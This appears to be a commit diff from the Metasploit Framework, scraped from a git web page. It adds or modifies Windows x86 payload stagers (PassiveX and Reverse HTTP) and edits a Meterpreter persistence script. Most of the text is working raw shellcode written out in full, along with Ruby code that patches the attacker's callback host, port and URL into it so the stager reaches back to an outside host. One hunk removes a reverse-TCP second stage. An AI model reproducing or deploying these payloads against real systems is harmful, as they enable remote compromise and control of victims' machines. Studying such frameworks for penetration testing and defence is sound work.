'Handler' => Msf::Handler::PassiveX,
|
||||
'Convention' => 'sockedi passivex',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'EXITFUNC' => [ 244, 'V' ],
|
||||
},
|
||||
'Payload' =>
|
||||
"\xfc\xe8\x77\x00\x00\x00\x53\x6f\x66\x74\x77\x61\x72\x65\x5c\x4d" +
|
||||
"\x69\x63\x72\x6f\x73\x6f\x66\x74\x5c\x57\x69\x6e\x64\x6f\x77\x73" +
|
||||
"\x5c\x43\x75\x72\x72\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x5c" +
|
||||
"\x49\x6e\x74\x65\x72\x6e\x65\x74\x20\x53\x65\x74\x74\x69\x6e\x67" +
|
||||
"\x73\x5c\x5a\x6f\x6e\x65\x73\x5c\x33\x00\x31\x30\x30\x34\x31\x32" +
|
||||
"\x30\x30\x31\x32\x30\x31\x31\x30\x30\x31\x43\x3a\x5c\x70\x72\x6f" +
|
||||
"\x67\x72\x61\x7e\x31\x5c\x69\x6e\x74\x65\x72\x6e\x7e\x31\x5c\x69" +
|
||||
"\x65\x78\x70\x6c\x6f\x72\x65\x20\x2d\x6e\x65\x77\x00\xe8\x4e\x00" +
|
||||
"\x00\x00\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef" +
|
||||
"\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee" +
|
||||
"\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b" +
|
||||
"\x54\x24\x28\x75\xe3\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f" +
|
||||
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc2\x08\x00" +
|
||||
"\x5f\x5b\x31\xd2\x64\x8b\x42\x30\x85\xc0\x78\x0c\x8b\x40\x0c\x8b" +
|
||||
"\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x83\xc0\x7c\x8b\x40" +
|
||||
"\x3c\x89\xe5\x68\x7e\xd8\xe2\x73\x50\x68\x72\xfe\xb3\x16\x50\x68" +
|
||||
"\x8e\x4e\x0e\xec\x50\xff\xd7\x96\xff\xd7\x89\x45\x00\xff\xd7\x89" +
|
||||
"\x45\x04\x52\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\xff\xd6" +
|
||||
"\x68\xa9\x2b\x92\x02\x50\x68\xdd\x9a\x1c\x2d\x50\xff\xd7\x89\x45" +
|
||||
"\x08\xff\xd7\x97\x87\xf3\x54\x56\x68\x01\x00\x00\x80\xff\xd7\x5b" +
|
||||
"\x83\xc6\x44\x50\x89\xe7\x80\x3e\x43\x74\x1b\x50\xad\x50\x89\xe0" +
|
||||
"\x6a\x04\x57\x6a\x04\x6a\x00\x50\x53\xff\x55\x08\xeb\xe8\x8a\x0d" +
|
||||
"\x30\x00\xfe\x7f\x88\x0e\x6a\x54\x59\x29\xcc\x89\xe7\x57\xf3\xaa" +
|
||||
"\x5f\xc6\x07\x44\xfe\x47\x2c\xfe\x47\x2d\x68\x75\x6c\x74\x00\x68" +
|
||||
"\x44\x65\x66\x61\x68\x74\x61\x30\x5c\x68\x57\x69\x6e\x53\x89\x67" +
|
||||
"\x08\x8d\x5f\x44\x53\x57\x50\x50\x6a\x10\x50\x50\x50\x56\x50\xff" +
|
||||
"\x55\x00\xff\x55\x04"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We send the stage via an
|
||||
# HTTP request.
|
||||
#
|
||||
def stage_over_connection?
|
||||
false
|
||||
end
|
||||
|
||||
def generate
|
||||
# Generate the payload
|
||||
p = super
|
||||
|
||||
# we must manually patch in the exit funk for this stager as it uses the old hash values
|
||||
# which are generated using a different algorithm to that of the new hash values. We do this
|
||||
# as this stager code has not been rewritten using the new api calling technique (see block_api.asm).
|
||||
|
||||
# set a default exitfunk if one is not set
|
||||
datastore['EXITFUNC'] = 'thread' if not datastore['EXITFUNC']
|
||||
# retrieve the offset/pack type for this stager's exitfunk
|
||||
offset, pack = offsets['EXITFUNC']
|
||||
# patch in the appropriate exit funk (using the old exit funk hashes).
|
||||
p[offset, 4] = [ 0x5F048AF0 ].pack(pack || 'V') if datastore['EXITFUNC'] == 'seh'
|
||||
p[offset, 4] = [ 0x60E0CEEF ].pack(pack || 'V') if datastore['EXITFUNC'] == 'thread'
|
||||
p[offset, 4] = [ 0x73E2D87E ].pack(pack || 'V') if datastore['EXITFUNC'] == 'process'
|
||||
|
||||
# Construct the full URL that will be embedded in the payload. The uri
|
||||
# attribute is derived from the value that will have been set by the
|
||||
# passivex handler.
|
||||
url = " http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI'] || '/'}"
|
||||
|
||||
# Get the find function offset
|
||||
off = p[2, 4].unpack('V')[0]
|
||||
|
||||
# Update the offset to include the length of the URL
|
||||
p[2, 4] = [ off + url.length ].pack('V')
|
||||
|
||||
# Adjust the true offset by five
|
||||
off += 5
|
||||
|
||||
# Insert the URL into the payload
|
||||
p = p[0, off] + url + p[off .. -1]
|
||||
|
||||
# Return the updated payload
|
||||
return p
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,92 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTP Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Tunnel communication over HTTP',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'sockedi http',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
# Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
|
||||
# 'EXITFUNC' => [ 290, 'V' ],
|
||||
'LPORT' => [ 190, 'v' ], # Not a typo, really little endian
|
||||
},
|
||||
'Payload' =>
|
||||
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
|
||||
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
|
||||
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
|
||||
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
|
||||
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
|
||||
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
|
||||
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
|
||||
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x89\xE6\x54\x68\x4C\x77" +
|
||||
"\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x3A\x56\x79\xA7" +
|
||||
"\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
|
||||
"\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" +
|
||||
"\x52\x68\x00\x02\x20\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
|
||||
"\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" +
|
||||
"\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" +
|
||||
"\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" +
|
||||
"\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
|
||||
"\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" +
|
||||
"\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" +
|
||||
"\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||
#
|
||||
def stage_over_connection?
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
p = super
|
||||
i = p.index("/12345\x00")
|
||||
u = "/INITM\x00"
|
||||
p[i, u.length] = u
|
||||
p + datastore['LHOST'].to_s + "\x00"
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
end
|
||||
|
|
@ -52,11 +52,11 @@ module Metasploit3
|
|||
"\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x3A\x56\x79\xA7" +
|
||||
"\xFF\xD5\xEB\x5F\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
|
||||
"\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x48\x59\x31\xD2" +
|
||||
"\x52\x68\x00\x32\xE0\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
|
||||
"\x3B\xFF\xD5\x89\xC6\x6A\x02\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" +
|
||||
"\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x2E\x4B\x74\x24\x68\x80\x33" +
|
||||
"\x00\x00\x89\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF" +
|
||||
"\xD5\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" +
|
||||
"\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
|
||||
"\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00\x89\xE0\x6A" +
|
||||
"\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31\xFF\x57\x57" +
|
||||
"\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74" +
|
||||
"\x10\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" +
|
||||
"\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68" +
|
||||
"\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89" +
|
||||
"\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5" +
|
||||
|
@ -73,6 +73,16 @@ module Metasploit3
|
|||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
p = super
|
||||
i = p.index("/12345\x00")
|
||||
u = "/INITM\x00"
|
||||
p[i, u.length] = u
|
||||
p + datastore['LHOST'].to_s + "\x00"
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
|
@ -80,62 +90,5 @@ module Metasploit3
|
|||
def wfs_delay
|
||||
20
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
p = super
|
||||
|
||||
t = datastore['TARGETID'] || "ABCD"
|
||||
i = p.index("/12345\x00")
|
||||
u = "/A#{t}\x00"
|
||||
raise ArgumentError, "TARGETID can be 4 bytes long at the most" if u.length > 7
|
||||
|
||||
p[i, u.length] = u
|
||||
p + datastore['LHOST'].to_s + "\x00"
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the second stage
|
||||
#
|
||||
def prestage_payload
|
||||
stage =
|
||||
# Length: 312 bytes
|
||||
# Port Offset: 212
|
||||
# HostName Offset: 248
|
||||
# RetryCounter Offset: 206
|
||||
# ExitFunk Offset: 237
|
||||
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
|
||||
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
|
||||
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
|
||||
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
|
||||
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
|
||||
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
|
||||
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
|
||||
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
|
||||
"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
|
||||
"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
|
||||
"\xD5\x97\xEB\x2F\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x1C\x6A\x05" +
|
||||
"\x50\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74" +
|
||||
"\x61\xFF\xD5\x85\xC0\x74\x51\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2" +
|
||||
"\x56\xFF\xD5\xE8\xCC\xFF\xFF\xFF\x58\x58\x58\x58\x58\x58\x58\x58" +
|
||||
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
|
||||
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
|
||||
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
|
||||
"\x58\x58\x58\x58\x58\x58\x58\x00"
|
||||
|
||||
|
||||
stage[212, 2] = [datastore['LPORT'].to_i].pack("n")
|
||||
|
||||
i = stage.index("X" * 63)
|
||||
u = datastore['LHOST'].to_s + "\x00"
|
||||
raise ArgumentError, "LHOST can be 63 bytes long at the most" if u.length > 64
|
||||
stage[i, u.length] = u
|
||||
stage
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -114,7 +114,7 @@ def write_script_to_target(target_dir,vbs)
|
|||
fd = @client.fs.file.new(tempvbs, "wb")
|
||||
fd.write(vbs)
|
||||
fd.close
|
||||
print_good("Persisten Script written to #{tempvbs}")
|
||||
print_good("Persistent Script written to #{tempvbs}")
|
||||
file_local_write(@clean_up_rc, "rm #{tempvbs}\n")
|
||||
return tempvbs
|
||||
end
|
||||
|
@ -171,7 +171,7 @@ def install_as_service(script_on_target)
|
|||
service_create(nam, nam, "cscript \"#{script_on_target}\"")
|
||||
file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n")
|
||||
else
|
||||
print_error("Insufficient privileges to create service")
|
||||
print_error("Insufficient privileges to create service")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -234,3 +234,4 @@ end
|
|||
if serv
|
||||
install_as_service(script_on_target)
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue